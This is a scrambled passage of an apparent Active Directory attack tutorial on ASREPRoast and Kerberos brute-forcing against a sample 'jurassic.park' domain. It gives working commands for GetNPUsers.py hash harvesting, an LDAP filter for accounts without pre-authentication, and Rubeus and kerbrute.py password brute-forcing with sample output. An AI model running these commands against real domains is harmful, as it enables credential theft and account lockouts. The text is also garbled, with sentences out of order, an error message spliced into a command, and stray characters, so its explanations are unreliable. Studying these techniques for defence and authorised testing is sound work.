Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos cat python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast User triceratops doesn't have UF_DONT_REQUIRE_PREAUTH set User trex doesn't have UF_DONT_REQUIRE_PREAUTH set The following commands allow to use a given username list or query to obtain a list of users by providing domain credentials: python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast The script GetNPUsers.py can be used from a Linux machine in order to harvest the non-preauth AS_REP responses. Parameter samAccountType allows to request user accounts only, without including computer accounts, and userAccountControl filters by Kerberos pre-authentication in this case. In order to retrieve user accounts without Kerberos pre-authentication, the following LDAP filter can be used: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)). However, with a domain account, an LDAP query can be used to retrieve users without Kerberos pre-authentication in the domain. More detail in Kerberos theory.įurthermore, no domain account is needed to perform this attack, only connection to the KDC.
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Then, by using this message, the user password could be cracked offline. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. That means that anyone can send an AS_REQ request to the KDC on behalf of any of those users, and receive an AS_REP message. The ASREPRoast attack looks for users without Kerberos pre-authentication required. In the same way as in the Linux scenario, the discovered credentials are saved in the output file alongside valid TGTs.
\Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:jurassic.park /outfile:jurassic_passwords.txt In the case of Windows, the module brute of Rubeus, which is available on a fork of Zer1t0, can be used to launch a brute-force attack like the following: PS C:\Users\user01>. Besides, the obtained TGTs tickets are stored for future use. Once finished, a file with the discovered passwords is generated. Saved discovered passwords in jurassic_passwords.txt Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation The script kerbrute.py can be used to perform a brute-force attack by using Kerberos from a Linux computer: python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt Thus, this technique should be used carefully. However, by carrying out a brute-force attack it is also possible to block user accounts.
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